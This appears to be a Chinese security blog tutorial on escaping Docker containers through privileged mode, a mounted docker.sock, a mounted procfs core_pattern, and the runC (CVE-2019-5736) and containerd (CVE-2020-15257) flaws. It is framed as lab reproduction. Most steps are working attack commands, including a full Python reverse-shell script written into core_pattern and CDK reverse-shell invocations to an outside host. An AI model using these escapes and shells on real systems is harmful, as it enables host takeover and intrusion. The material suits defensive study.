云上攻防--云原生&&Docker逃逸--特权逃逸--危险挂载--漏洞逃逸

了了青山见2024-01-10 15:47

Docker介绍

Docker 是一个开放源代码软件，是一个开放平台，用于开发应用、交付（shipping）应用、运行应用。Docker允许用户将基础设施（Infrastructure）中的应用单独分割出来，形成更小的颗粒（容器），从而提高交付软件的速度。

Docker 容器与虚拟机类似，但二者在原理上不同，容器是将操作系统层虚拟化，虚拟机则是虚拟化硬件，因此容器更具有便携性、高效地利用服务器。

判断Docker环境

  1. 查询cgroup信息

    cat /proc/1/cgroup

正常主机：

docker环境：

  1. 检查根目录特定文件

    ls -al / | grep "docker"

正常主机：

docker环境：

  1. 检查挂载信息

    mount | grep '/ type'

正常主机：

docker环境：

  1. 查看硬盘信息

    fdisk -l

正常主机：

docker环境：

  1. 查看文件系统挂载点

    df -h | egrep '(overlay|aufs)'

正常主机：

docker环境：

容器逃逸-特权模式

特权模式是指在启动docker容器时，赋予了容器过高的权限，可以使容器将宿主机上的文件挂载到容器里面从而形成容器逃逸。

特权启动一般出现在主机分权明确的情况下，业务需要足够的权限进行启动，而管理员账号本身被并不具备，因此需要特权启动容器。

环境复现：

  1. 特权启动容器

    docker run --rm --privileged=true -it alpine

  1. 检测docker环境

    cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

两种检测方式均符合docker环境特征

  1. 判断特权启动

    cat /proc/self/status | grep CapEff

特权模式启动的话，CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

  1. 查看磁盘分区

查看目前环境处于哪个分区中

  1. 特权逃逸

创建目录，并将分区挂载到目录中。

mkdir /test && mount /dev/vda1 /test
  1. 逃逸成功

成功将宿主机内容挂载到test目录下

容器逃逸-危险挂载

挂载DockerSocket逃逸

将 Docker Socket 挂载到容器中可以使容器内部的应用或进程直接与宿主机上的 Docker 守护进程通信，即给予容器控制宿主机上Docker实例的能力。

应用场景：

  • 持续集成和持续部署（CI/CD）：在 CI/CD 流程中，如 Jenkins、GitLab CI 或 CircleCI，构建容器需要创建、管理或销毁其他容器。例如，自动化测试过程可能需要启动一个应用容器和一个数据库容器，然后在测试完成后销毁它们。
  • 容器编排工具：管理容器集群的工具，如 Portainer 或 Rancher，需要在其容器内访问 Docker Socket，以便管理和监控集群中的容器。
  • 本地开发环境：开发人员可能使用容器化的开发环境，其中包括需要管理其他容器的工具。例如，使用 Docker Compose 在本地部署多容器应用时，主控容器可能需要访问 Docker Socket 来控制其他服务容器。
  • Docker-in-Docker（DinD）场景：在需要完全隔离的 Docker 环境中进行测试或开发时，例如测试 Docker 本身的新功能或插件，会使用到 Docker-in-Docker。这要求主容器能够完全控制内部的 Docker 守护进程。
  • 自动化部署脚本：某些自动化脚本或工具，可能被打包在容器中，并需要访问 Docker Socket 以自动部署或更新容器化应用

环境复现：

  1. 创建文件标识

在根目录下创建文件标识宿主机，以便分辨逃逸是否成功。

  1. 挂载Docker Socket容器启动

    docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

  2. 进入容器

    docker exec -it with_docker_sock /bin/bash

  3. 检测环境

    ls -al / | grep docker

检测根目录下有固定Docker特征文件，判断是在容器中

ls -lah /var/run/docker.sock

检测容器中挂载有docker.socket文件，判断为docker.socket挂载启动

  1. 安装docker客户端

    apt-get update
    apt-get install curl
    curl -fsSL https://get.docker.com/ | sh

虽然已经检测到docker.socket已经被挂载到容器中，这只能说明已经具备和宿主机docker进程进行通信的能力，但是容器中并没有docker的客户端，无法使用docker命令，因此需要安装docker客户端。

  1. 挂载逃逸

    docker run -it -v /:/host ubuntu /bin/bash

在容器内部创建一个新的容器，并将宿主机目录挂载到新的容器内部host目录中。

  1. 逃逸成功

host目录中已经看到宿主机上的文件，后续利用可以在宿主机本身创建定时任务反弹shell。

退出容器时要退出两次才能到宿主机。

挂载宿主机procfs逃逸

在 Docker 中，挂载 procfs （/proc 文件系统）到容器通常是为了从容器内部访问宿主机的 proc 文件系统，这通常用于高级监控、诊断或其他特殊的系统管理任务。/proc 文件系统是一个特殊的文件系统，它提供了一个接口到内核数据结构，主要用于访问有关系统和运行中进程的信息。

环境复现：

  1. 挂载procfs启动容器

将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

  1. 环境监测

    ls -al / | grep docker
    find / -name core_pattern

在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs

  1. 寻找路径

找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

将work目录变成merged目录就是容器所在宿主机的绝对路径

/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged

  1. 创建反弹shell脚本

    cat >/tmp/.x.py << EOF
    #!/usr/bin/python
    import os
    import pty
    import socket
    lhost = "xx.xx.xx.xx"
    lport = xxxx
    def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
    if name == "main":
    main()
    EOF

赋予执行权限

chmod 777 /tmp/.x.py

  1. 写入反弹 shell文件在宿主机执行路径到目标的/proc/sys/kernel/core_pattern 文件

    echo -e "|/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern

查看路径是否写入成功

从 2.6.19 内核版本开始，Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ，那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

/proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件，它属于 /proc 文件系统，这是一个虚拟文件系统，提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储（core dump）时，核心转储文件的命名模式和位置。

核心转储是操作系统在程序发生严重错误（如段错误）时创建的文件，包含了程序崩溃时的内存镜像和有关程序状态的其他信息，对于程序调试和确定崩溃原因非常有用。

  • core_pattern 文件的内容决定了核心转储文件的命名和存储位置。
  • 默认情况下，这个文件可能只包含一个单词 core，表示核心转储文件将被命名为 core 并存储在程序崩溃时的当前目录下。
  • 可以配置这个文件来更改核心转储文件的存储位置和命名方式。例如，可以设置路径和文件名，甚至可以指定一个处理核心转储的程序。

上述解释就是我们要将反弹shell文件路径写入core_pattern 中

  1. 写入引起docker崩溃的文件，诱导系统加载core_pattern 文件

安装vim以及gcc

apt-get update -y && apt-get install vim gcc -y

写入崩溃文件

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

将文件赋予执行权限

gcc x.c -o x
  1. 开启监听

在VPS中开启监听

nc -lvvp xxxx

  1. 执行崩溃文件,接收反弹shell

    ./x

崩溃文件执行的同时，shell也被反弹了

容器逃逸-Docker漏洞

利用Docker本身漏洞进行逃逸

CVE-2019-5736 runC容器逃逸

环境复现：

  • 复现建议：复现之前做好快照，因为复现过程中会破坏docker环境。
  • 漏洞影响版本：docker version <=18.09.2 RunC version <=1.0-rc6

  1. 安装对应的Docker版本

    apt-get update
    apt-get install -y apt-transport-https ca-certificates curl software-properties-common
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
    apt-get update
    apt-cache madison docker-ce
    apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

  1. 启动模拟环境

    docker run -itd ubuntu:latest

  2. 构造漏洞利用POC

POC下载地址CVE-2019-5736-PoC

对main.go文件内容进行修改

使用go环境进行编译

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
  1. 上传POC

由于是模拟环境，因此在这里就在终端直接上传了，如果在实战情况下拿了shell，应该也有上传文件的权限

上传之后赋予POC执行权限。

docker cp main xxxx:/
chmod 777 main 
./main
  1. VPS开启监听

  1. 执行POC,模拟管理员重新进入docker容器

    docker exec -it xxxx/bin/bash

管理员进入容器时：

  1. 逃逸成功

管理员重新进入容器时，shell成功反弹，查看根目录下文件，并没有docker.env文件，逃逸成功。

  • 复现过后docker-runc发生了改变

CVE-2020-15257 containerd逃逸

Containerd 是一个控制 runC 的守护进程，提供命令行客户端和 API，用于在一个机器上管理容器。在特定网络条件下，攻击者可通过访问containerd-shim API，从而实现Docker容器逃逸。

漏洞复现：

  • 漏洞影响版本：

containerd < 1.4.3

containerd < 1.3.9

  1. 安装对应漏洞版本Docker

    apt-get update
    apt-get install ca-certificates curl software-properties-common
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
    apt-get update
    apt-cache madison docker-ce
    apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

  1. 启动测试环境

用root用户以共享主机网络的方式启动容器--net=host

docker run -itd --net=host ubuntu:latest /bin/bash
docker exec -it 容器id /bin/bash
  1. 下载并上传自动化利用脚本

CDK

docker cp cdk_linux_amd64 容器id:/
chmod 777 cdk_linux_amd64

  1. 使用脚本进行漏洞检测

    ./cdk_linux_amd64 evaluate

收集到的信息，包括提权漏洞

  1. 尝试自动化进行逃逸

    ./cdk_linux_amd64 auto-escape id

显示执行id命令成功了，但是看不到回显结果，根据显示成功的关键字判断出存在哪个漏洞

  1. 指定POC进行逃逸

    ./cdk_linux_amd64 run shim-pwn reverse <ip> <端口>

shell反弹成功

逃逸权限

对于拿下docker环境后逃逸操作，java的环境默认就是高权限用户，php环境一般是低权限用户，需要进行提权后再进行逃逸。

利用项目

CDK
container-escape-check

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